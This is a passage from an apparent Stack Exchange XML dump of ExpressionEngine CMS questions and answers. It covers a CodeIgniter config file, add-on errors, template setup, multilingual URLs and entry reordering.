english.&#xA;|&#xA;*/&#xA;$config['language'] = 'english';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Default Character Set&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This determines which character set is used by default in various methods&#xA;| that require a character set to be provided.&#xA;|&#xA;*/&#xA;$config['charset'] = 'UTF-8';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Enable/Disable System Hooks&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| If you would like to use the &quot;hooks&quot; feature you must enable it by&#xA;| setting this variable to TRUE (boolean).  See the user guide for details.&#xA;|&#xA;*/&#xA;$config['enable_hooks'] = FALSE;&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Class Extension Prefix&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This item allows you to set the filename/classname prefix when extending&#xA;| native libraries.  For more information please see the user guide:&#xA;|&#xA;| http://codeigniter.com/user_guide/general/core_classes.html&#xA;| http://codeigniter.com/user_guide/general/creating_libraries.html&#xA;|&#xA;*/&#xA;$config['subclass_prefix'] = 'EE_';&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Allowed URL Characters&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| This lets you specify which characters are permitted within your URLs.&#xA;| When someone tries to submit a URL with disallowed characters they will&#xA;| get a warning message.&#xA;|&#xA;| As a security measure you are STRONGLY encouraged to restrict URLs to&#xA;| as few characters as possible.  By default only these are allowed: a-z 0-9~%.:_-&#xA;|&#xA;| Leave blank to allow all characters -- but only if you are insane.&#xA;|&#xA;| DO NOT CHANGE THIS UNLESS YOU FULLY UNDERSTAND THE REPERCUSSIONS!!&#xA;|&#xA;*/&#xA;$config['permitted_uri_chars'] = 'a-z 0-9~%.:_\\-';&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Enable Query Strings&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| By default CodeIgniter uses search-engine friendly segment based URLs:&#xA;| example.com/who/what/where/&#xA;|&#xA;| You can optionally enable standard query string based URLs:&#xA;| example.com?who=me&amp;amp;what=something&amp;amp;where=here&#xA;|&#xA;| Options are: TRUE or FALSE (boolean)&#xA;|&#xA;| The two other items let you set the query string &quot;words&quot; that will&#xA;| invoke your controllers and its functions:&#xA;| example.com/index.php?c=controller&amp;amp;m=function&#xA;|&#xA;| Please note that some of the helpers won't work as expected when&#xA;| this feature is enabled, since CodeIgniter is designed primarily to&#xA;| use segment based URLs.&#xA;|&#xA;*/&#xA;$config['enable_query_strings'] = FALSE;&#xA;$config['directory_trigger'] = 'D';&#xA;$config['controller_trigger'] = 'C';&#xA;$config['function_trigger'] = 'M';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Error Logging Threshold&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| If you have enabled error logging, you can set an error threshold to&#xA;| determine what gets logged. Threshold options are:&#xA;|&#xA;|   0 = Disables logging, Error logging TURNED OFF&#xA;|   1 = Error Messages (including PHP errors)&#xA;|   2 = Debug Messages&#xA;|   3 = Informational Messages&#xA;|   4 = All Messages&#xA;|&#xA;| For a live site you'll usually only enable Errors (1) to be logged otherwise&#xA;| your log files will fill up very fast.&#xA;|&#xA;*/&#xA;$config['log_threshold'] = 0;&#xA;&#xA;$config['debug'] = &quot;0&quot;;&#xA;ini_set('display_errors', 0);&#xA;error_reporting(0); &#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Error Logging Directory Path&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Leave this BLANK unless you would like to set something other than the default&#xA;| system/logs/ folder.  Use a full server path with trailing slash.&#xA;|&#xA;*/&#xA;$config['log_path'] = '';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Date Format for Logs&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Each item that is logged has an associated date. You can use PHP date&#xA;| codes to set your own date formatting&#xA;|&#xA;*/&#xA;$config['log_date_format'] = 'Y-m-d H:i:s';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Cache Directory Path&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Leave this BLANK unless you would like to set something other than the default&#xA;| system/cache/ folder.  Use a full server path with trailing slash.&#xA;|&#xA;*/&#xA;$config['cache_path'] = '';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Encryption Key&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| If you use the Encryption class or the Sessions class with encryption&#xA;| enabled you MUST set an encryption key.  See the user guide for info.&#xA;|&#xA;*/&#xA;$config['encryption_key'] = 'XXXXXX';&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Global XSS Filtering&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Determines whether the XSS filter is always active when GET, POST or&#xA;| COOKIE data is encountered&#xA;|&#xA;*/&#xA;$config['global_xss_filtering'] = FALSE;&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| CSRF Protection&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Determines whether Cross Site Request Forgery protection is enabled.&#xA;| For more info visit the security library page of the user guide&#xA;|&#xA;*/&#xA;$config['csrf_protection'] = FALSE;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Output Compression&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Enables Gzip output compression for faster page loads.  When enabled,&#xA;| the output class will test whether your server supports Gzip.&#xA;| Even if it does, however, not all browsers support compression&#xA;| so enable only if you are reasonably sure your visitors can handle it.&#xA;|&#xA;| VERY IMPORTANT:  If you are getting a blank page when compression is enabled it&#xA;| means you are prematurely outputting something to your browser. It could&#xA;| even be a line of whitespace at the end of one of your scripts.  For&#xA;| compression to work, nothing can be sent before the output buffer is called&#xA;| by the output class.  Do not &quot;echo&quot; any values with compression enabled.&#xA;|&#xA;*/&#xA;$config['compress_output'] = FALSE;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Master Time Reference&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| Options are &quot;local&quot; or &quot;gmt&quot;.  This pref tells the system whether to use&#xA;| your server's local time as the master &quot;now&quot; reference, or convert it to&#xA;| GMT.  See the &quot;date helper&quot; page of the user guide for information&#xA;| regarding date handling.&#xA;|&#xA;*/&#xA;$config['time_reference'] = 'local';&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Rewrite PHP Short Tags&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| If your PHP installation does not have short tag support enabled CI&#xA;| can rewrite the tags on-the-fly, enabling you to utilize that syntax&#xA;| in your view files.  Options are TRUE or FALSE (boolean)&#xA;|&#xA;*/&#xA;$config['rewrite_short_tags'] = TRUE;&#xA;&#xA;&#xA;/*&#xA;|--------------------------------------------------------------------------&#xA;| Reverse Proxy IPs&#xA;|--------------------------------------------------------------------------&#xA;|&#xA;| If your server is behind a reverse proxy, you must whitelist the proxy IP&#xA;| addresses from which CodeIgniter should trust the HTTP_X_FORWARDED_FOR&#xA;| header in order to properly identify the visitor's IP address.&#xA;| Comma-delimited, e.g. '10.0.1.200,10.0.1.201'&#xA;|&#xA;*/&#xA;$config['proxy_ips'] = &quot;&quot;;&#xA;&#xA;&#xA;/**&#xA; * Require the Focus Lab, LLC Master Config file&#xA; */&#xA;require $_SERVER['DOCUMENT_ROOT'] . '/../config/config.master.php';&#xA;&#xA;/* End of file config.php */&#xA;/* Location: ./system/expressionengine/config/config.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3602" LastEditorUserId="3602" LastEditDate="2015-09-02T10:51:06.293" LastActivityDate="2016-06-05T19:58:37.443" Title="Focus Lab Master Config vs System Config" Tags="|config|focus-lab-master-config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32893" PostTypeId="2" ParentId="32891" CreationDate="2015-09-02T11:45:22.507" Score="3" Body="&lt;p&gt;Did you just upload the folders and have them over write the existing ones?&#xA;If so, this doesn't always work well, especially with a large addon like WYGWAM.&#xA;Try, deleting the folders on the server and uploading them fresh.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-09-02T11:45:22.507" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32895" PostTypeId="1" CreationDate="2015-09-02T15:13:02.560" Score="0" ViewCount="334" Body="&lt;p&gt;I know this is super simple, because I have done it before. I need to reorder my entries (ex: newsletters) by dragging them into the correct order, rather than assigning a new number for each entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot remember how I did it before! When I go to the Reorder Entries page, it doesn't do anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screen shot:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/24sw0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/24sw0.png&quot; alt=&quot;This is what I see when I go to Reorder Assets. Nothing is &amp;quot;clickable.&amp;quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6627" LastEditorUserId="6627" LastEditDate="2015-10-01T17:57:48.640" LastActivityDate="2020-04-01T02:02:10.240" Title="Reordering Entries" Tags="|low-reorder|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32896" PostTypeId="2" ParentId="32768" CreationDate="2015-09-02T15:29:22.677" Score="3" Body="&lt;p&gt;This is due to a change in how EE validates Channel Form fields (not sure when this was implemented). When you upload a file via a &lt;code&gt;file&lt;/code&gt; field, that field name isn't actually populated in the &lt;code&gt;$_POST&lt;/code&gt; array, so EE doesn't know it's been submitted, and hence won't call the fieldtype which owns that field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works around this issue for native File fields inside the Channel Form library like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (in_array($field['field_type'], $this-&amp;gt;file_fields))&#xA;{&#xA;    // trick validation into calling the file fieldtype&#xA;    if (isset($_FILES[$field['field_name']]['name']))&#xA;    {&#xA;        $_POST[$field['field_name']] = $_FILES[$field['field_name']]['name'];&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thankfully there is a way to add additional fieldtypes to the &lt;code&gt;file_fields&lt;/code&gt; array (which by default includes only File fieldtype). Just add this line to your &lt;strong&gt;config.php&lt;/strong&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['safecracker_file_fields'] = array('assets');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Voila. This method will now work for adding new uploads to an Assets field, &lt;em&gt;or&lt;/em&gt; leaving the existing data alone without losing it on update:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;file&quot; name=&quot;my_file_field&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;my_file_field_filedir&quot; value=&quot;1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Nothing's ever easy - there appears to be an EE bug which may &lt;em&gt;still&lt;/em&gt; remove existing file selections. &lt;a href=&quot;https://support.ellislab.com/bugs/detail/21073&quot; rel=&quot;nofollow&quot;&gt;Reported here.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-09-02T16:27:01.417" LastActivityDate="2015-09-02T16:27:01.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32897" PostTypeId="1" CreationDate="2015-09-02T15:49:59.127" Score="0" ViewCount="136" Body="&lt;p&gt;I'm using Freeform Pro, and I'd like to keep the fields mobile friendly.  So an email field &lt;em&gt;should&lt;/em&gt; be an email type, a phone field &lt;em&gt;should&lt;/em&gt; be a tel type, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Freeform Pro doesn't have the option for an email or tel type field - even if selected as text/email in the admin, it still outputs it as a plain text field.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I just create the field without freeform tags, it of course is not going to be &quot;sticky&quot; - and that is a problem too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried using the tag pairs to make the field sticky (that works), but it just converts my email type to text in the html output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In my template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{freeform:field:email}&#xA;     &amp;lt;input id=&quot;freeform_email&quot; &#xA;          name=&quot;email&quot; &#xA;          type=&quot;email&quot; &#xA;          value=&quot;{freeform:data:value}&quot;&amp;gt;&#xA;{/freeform:field:email}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The html output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot; id=&quot;freeform_email&quot; maxlength=&quot;150&quot;  /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried with php (unsuccessful at making it sticky):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input &#xA; id=&quot;freeform_email&quot; name=&quot;email&quot; type=&quot;email&quot; &#xA; value=&quot;&amp;lt;?php if(isset($_SESSION['email'])) echo $_SESSION['email'];?&amp;gt;&quot;&#xA; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to make a custom type field like this be sticky in Freeform Pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&#xA;&lt;em&gt;&quot;sticky&quot; means that the form will hold the field values if say there is an error, on page reload the data will remain.  Otherwise, it takes the user back to a blank form and they would have to fill out it all over again.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="276" LastEditorUserId="276" LastEditDate="2015-09-03T18:52:20.997" LastActivityDate="2016-05-12T13:12:51.403" Title="How to set up a &quot;sticky&quot; email or tel type field in Freeform Pro" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32899" PostTypeId="2" ParentId="32884" CreationDate="2015-09-02T18:19:55.673" Score="1" Body="&lt;p&gt;The issue shown here was resolved by adding a default value (0) into the exp_calendar_events table, 'last_date' field. Not sure how it got gone, perhaps it was a result of the mysql version change or maybe the missing value wasn't an issue until the version change, but adding the default value resolved the issue for me. &lt;/p&gt;&#xA;" OwnerUserId="1007" LastActivityDate="2015-09-02T18:19:55.673" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32900" PostTypeId="2" ParentId="32892" CreationDate="2015-09-02T19:41:33.830" Score="0" Body="&lt;p&gt;Solved it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Annoyingly, I hadn't put the templates inside a &lt;code&gt;default_site&lt;/code&gt; subfolder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the setup should in fact be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee.dev&#xA;- config&#xA;- public_html&#xA;- system&#xA;- templates&#xA;-- default_site&#xA;--- * templates go in here! *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All working now.&lt;/p&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2015-09-02T19:41:33.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32901" PostTypeId="1" CreationDate="2015-09-02T22:08:01.507" Score="0" ViewCount="577" Body="&lt;p&gt;I successfully upgraded a site from EE 2.9.1 to 2.10.1, but when I go to the home page I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An Error Was Encountered Non-existent class: Template&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can access the control panel but I can't get past the error notice on public facing pages. I have searched and find only one old reference to this error. Can anyone shed light on the cause and solution to this?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2016-02-03T11:56:34.650" Title="Upgrade to EE 2.10.1 - An Error Was Encountered Non-existent class: Template" Tags="|error|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32902" PostTypeId="2" ParentId="32901" CreationDate="2015-09-02T23:45:24.943" Score="1" Body="&lt;p&gt;Turns out that expressionengine/libraries/template.php was empty on the server. Something must have happened in transit that wiped the file clean. I uploaded a fresh copy and everything was a good as new.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-09-02T23:45:24.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32903" PostTypeId="1" CreationDate="2015-09-03T09:24:08.337" Score="0" ViewCount="208" Body="&lt;p&gt;I have a issue with my language switcher when i'm in a entry page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this page, i rewrite the last-segment url witch is my product name with this script :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    $outvar = &quot;&quot;;&#xA;    $langvar = &quot;{transcribe:language_abbreviation}&quot;;&#xA;&#xA;    if ($langvar == &quot;fr&quot;) {&#xA;    $outvar = $outvar . 'search:url-title-fr=&quot;{transcribe:last_segment}&quot; ';&#xA;    }&#xA;&#xA;    if ($langvar == &quot;nl&quot;) {&#xA;    $outvar = $outvar . 'search:url-title-nl=&quot;{transcribe:last_segment}&quot; ';&#xA;    }&#xA;    ?&amp;gt;&#xA;&#xA;    {exp:channel:entries channel=&quot;products&quot; &amp;lt;?php echo $outvar ?&amp;gt;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The url become this : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FR : /fr/detail/MYPRODUCTNAMEINFRENCH&lt;br&gt;&#xA;NL : /nl/detail/MYPRODUCTNAMEINDUTCH&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose my website is in French, when i click on my language switch (to show dutch version) i made with transcribe, i have : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/nl/detail/MYPRODUCTNAMEINFRENCH&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the last segment stay in French.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help to change this last segment when i switch language ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jérôme&lt;/p&gt;&#xA;" OwnerUserId="6510" LastActivityDate="2019-04-11T20:00:25.283" Title="Multi-Language lang switch Transcribe" Tags="|segments|transcribe|language|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32904" PostTypeId="1" AcceptedAnswerId="32909" CreationDate="2015-09-03T09:48:29.463" Score="0" ViewCount="75" Body="&lt;p&gt;Having so much trouble with this plugin, no notifcation emails being sent, also when i subscribe or unsubscribe to a forum i get the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method EE_Functions::remove_double_slashes() in /var/www/vhosts/domain.co.uk/system/expressionengine/third_party/forum_subscribe/mod.forum_subscribe.php on line 315 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using MSM and EE version 2.9&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-09-04T12:39:11.900" Title="Dev Demon - Forum Subscribe" Tags="|devdemon|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32905" PostTypeId="1" CreationDate="2015-09-03T11:13:41.533" Score="0" ViewCount="29" Body="&lt;p&gt;I'm looking for a field type that could let my client choose a certain template for the single page of an entry. &#xA;I'm thinking a radio button field type but i'd like to show the option as an image..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody knows a fiedtype which can do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FeOkq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FeOkq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3191" LastEditorUserId="55" LastEditDate="2015-09-03T12:41:08.797" LastActivityDate="2015-09-03T12:41:08.797" Title="Fiedtype to allow selection of layout using thumbnail images?" Tags="|templates|channel|custom-fields|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32906" PostTypeId="2" ParentId="32903" CreationDate="2015-09-03T11:40:07.197" Score="0" Body="&lt;p&gt;I think you're going about it in the wrong way. If you have an entry for the french language, you should relate that entry to a new/existing entry under the transcribe tab. The default transcribe language switcher will show the correct entry if the relationship was made. If you haven't made the relationship it will default to the homepage. there should be no need for php&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2015-09-03T11:40:07.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32907" PostTypeId="2" ParentId="32903" CreationDate="2015-09-03T11:52:43.550" Score="0" Body="&lt;p&gt;Thank you for your answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is i don't want to duplicate all my channel fields because i have common custom fields for both languages. For example, i have a custom field for the product number and the code is the same for all languages. So i don't think transcribe is really useful in my case except for page and variable translation. But my client want two different url depend of languages for one product ans that's all the problem :-) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="6510" LastActivityDate="2015-09-03T11:52:43.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32908" PostTypeId="2" ParentId="31289" CreationDate="2015-09-03T12:50:53.633" Score="0" Body="&lt;p&gt;It's now been a little while since i posted this question. I cannot recall which project this was in relation to but i think it was resolved. I think it was in relation to some server settings, which were completely different to what i was used to / the server admin did not adjust on initial move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should have updated this post but it would have taken awhile before it was solved (if at all) and i didn't get a correct answer here.&lt;/p&gt;&#xA;" OwnerUserId="2794" LastActivityDate="2015-09-03T12:50:53.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32909" PostTypeId="2" ParentId="32904" CreationDate="2015-09-03T14:14:17.453" Score="1" Body="&lt;p&gt;Weird. I believe the function call should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;reduce_double_slashes()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_double_slashes()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I couldn't find a &lt;code&gt;remove_double_slashes&lt;/code&gt; in the function library, but found a &lt;code&gt;reduce_double_slashes&lt;/code&gt; inside of the CI &lt;code&gt;string_helper&lt;/code&gt; library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sort of thing is usually:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) A faulty installation of the addon (a file didn't get uploaded, etc). But this doesn't seem likely since it is calling an EE core function, not one within the addon's codebase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B) Incompatible version of the addon and EE. This seems most likely in this case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you reached out to devdemon with these concerns?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yup, that function has been deprecated since EE 2.6. Reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/functions.html#remove-double-slashes&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/usage/functions.html#remove-double-slashes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Devdemon needs to get their codebase updated. You can possibly manually update that function call, but there's probably a bunch of other deprecated function calls too; you paid for it, right? They should fix their shit.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-09-04T12:39:11.900" LastActivityDate="2015-09-04T12:39:11.900" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32910" PostTypeId="1" CreationDate="2015-09-03T15:04:34.257" Score="1" ViewCount="319" Body="&lt;p&gt;I'm opening this issue here on StackExchange because the folks at Ellis seem to be incapable of resolving this issue &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20748/relationship-parents-php-parse-error-ignores-condition&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20748/relationship-parents-php-parse-error-ignores-condition&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are any PHP gurus out there who can troubleshoot this issue, please weigh in. PHP is not my forte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I've found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;doctors_locations&quot; limit=&quot;1&quot;}&#xA;    {if parents:doctors_locations:total_results &amp;gt;= 1}&#xA;        &amp;lt;a href=&quot;/search/doctors?category:affiliation=78|79|80|218&amp;amp;amp;child:doctors_locations={entry_id}&amp;amp;amp;orderby_sort=doctors_last_name|asc&quot; class=&quot;button button-green mb30&quot;&amp;gt;View Doctors&amp;lt;/a&amp;gt;&#xA;    {if:else}&#xA;        {!-- RETURN NOTHING --}&#xA;    {/if}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns more than 100 PHP errors in a search results page with 10 results. This is the most common error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;&#xA;Message: Undefined index: 66&#xA;&#xA;Filename: relationship_parser/Tree_builder.php&#xA;&#xA;Line Number: 544&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Towards the end of the errors, I found this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;&#xA;Message: Undefined offset: 4529&#xA;&#xA;Filename: relationship_parser/Parser.php&#xA;&#xA;Line Number: 52&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;&#xA;Message: Cannot modify header information - headers already sent by (output started at /MYPATH/system/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: core/Common.php&#xA;&#xA;Line Number: 479&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I remove the conditionals like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;doctors_locations&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;a href=&quot;/search/doctors?category:affiliation=78|79|80|218&amp;amp;amp;child:doctors_locations={entry_id}&amp;amp;amp;orderby_sort=doctors_last_name|asc&quot; class=&quot;button button-green mb30&quot;&amp;gt;View Doctors&amp;lt;/a&amp;gt;&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I only get 3 PHP errors that are basically the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;&#xA;Message: Undefined offset: 4530&#xA;&#xA;Filename: relationship_parser/Parser.php&#xA;&#xA;Line Number: 52&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only difference between the three errors is that the Undefined offset increments from 4528 to 4530.&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-09-03T15:04:34.257" Title="Relationship Parser Error in EE 2.10.1" Tags="|relationships|php-errors|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32911" PostTypeId="2" ParentId="32895" CreationDate="2015-09-03T15:18:24.190" Score="0" Body="&lt;p&gt;The best way to control the order of entries is to use Low Reorder. It's a $35 add-on but well worth the price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this is installed, you can create a reorder set of your newsletter entries by going to Add Ons &gt; Modules &gt; Low Reorder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you want to output a reordered list, you simply replace the channel entries tag with the low reorder tag. For example replace this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;newsletters&quot; disable=&quot;member_data|category_fields&quot;}&#xA;    {!-- YOUR NEWSLETTER --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_reorder:entries set=&quot;newsletter_set&quot; disable=&quot;member_data|category_fields&quot;}&#xA;    {!-- YOUR NEWSLETTER --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice that the channel parameter in the exp:channel:entries tag is replaced with the name of your low reorder set in the exp:low_reorder:entries 